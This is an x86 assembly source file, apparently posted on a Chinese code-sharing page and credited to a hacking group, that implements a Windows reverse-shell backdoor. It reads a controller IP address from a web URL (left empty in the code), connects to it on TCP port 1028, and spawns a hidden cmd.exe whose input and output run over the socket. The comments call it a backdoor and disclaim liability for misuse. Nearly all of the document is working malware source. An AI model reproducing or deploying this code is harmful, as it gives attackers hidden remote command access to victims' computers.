📄 asmserver.asm
字号:
;**********************************************************************
;程序编写by Asm Bink
;日期:2007-1-10日
;出处:[url]http://www.wolfexp.net/[/url](红狼安全小组)
;注意事项:如欲转载,请保持本程序的完整,并注明:
;转载自 红狼安全小组([url]http://www.wolfexp.net/[/url])
;注意事项:公布源码仅限技术交流,如果使用引起的损失,由使用者自己全部负责!
;**********************************************************************
.386P
.model flat,stdcall
option casemap:none
include windows.inc
include user32.inc
include kernel32.inc
include wsock32.inc
include Ws2_32.inc
include wininet.inc
includelib user32.lib
includelib kernel32.lib
includelib wsock32.lib
includelib Ws2_32.lib
includelib wininet.lib
TCP_PORT equ 1028 ;常量定义
.data
szAgentName db "ReadFile",0
szUrl db 'http:// ',0
cmdline db "cmd.exe",0
szIP db 156 dup(0)
.data?
hSocket SOCKET ?
.code
ReadInternet proc
local @hSession:DWORD
local @hHttpFile:DWORD
local @dwRead:DWORD
pushad ;保存所有堆栈
invoke InternetOpen,addr szAgentName,INTERNET_OPEN_TYPE_PRECONFIG,\
NULL,NULL,0 ;打开Internet
.if eax
mov @hSession,eax ;成功的话返回一个句柄
.endif
invoke InternetOpenUrl,@hSession,addr szUrl,NULL,0,\
INTERNET_FLAG_NO_AUTO_REDIRECT,0 ;打开你输入的网页地址
.if eax
mov @hHttpFile,eax ;成功的话返回一个句柄
.endif
invoke InternetReadFile,@hHttpFile,addr szIP,sizeof szIP,addr @dwRead ;开始读取你设置的IP保存在szIP
invoke InternetCloseHandle,@hHttpFile ;关闭打开的网址句柄
invoke InternetCloseHandle,@hSession ;关闭打开的网络句柄
popad ;恢复所有堆栈
ret
ReadInternet endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ProcessMain proc
local @wsaData:WSADATA
local @stAddr:sockaddr_in
local stStartUp:STARTUPINFO
local stProcInfo:PROCESS_INFORMATION
pushad ;保存所有堆栈
invoke WSAStartup,202h,addr @wsaData ;初始化WSAStartup库
invoke WSASocket,PF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0 ;加载套接字
mov hSocket,eax ;保存句柄
mov @stAddr.sin_family,AF_INET ;设置IP格式
invoke htons,TCP_PORT ;设置端口
mov @stAddr.sin_port,ax ;保存
call ReadInternet ;开始从网络读取IP
invoke inet_addr,addr szIP ;把读取到的IP转换
mov @stAddr.sin_addr,eax ;保存
invoke connect,hSocket,addr @stAddr,sizeof @stAddr;开始连接,句柄用来支持cmd的转向输出!
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
invoke GetStartupInfo,addr stStartUp
mov ebx,hSocket ;保存句柄到ebx
mov stStartUp.hStdInput,ebx ;开始个cmd的hStdInput,hStdOutput等赋值
mov stStartUp.hStdOutput,ebx
mov stStartUp.hStdError,ebx
mov stStartUp.dwFlags,101h
mov stStartUp.wShowWindow,SW_HIDE
invoke CreateProcess,NULL,offset cmdline,NULL,NULL,1,0,\
NULL,NULL,addr stStartUp,addr stProcInfo ;调用函数执行cmd并开始载入hStdInput,hStdOutput等实现cmd转向输出
invoke closesocket,hSocket ;到这里后门没有存在价值了,关闭连接
popad ;恢复所有堆栈
ret
ProcessMain endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
call ProcessMain
invoke ExitProcess,NULL
end start
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -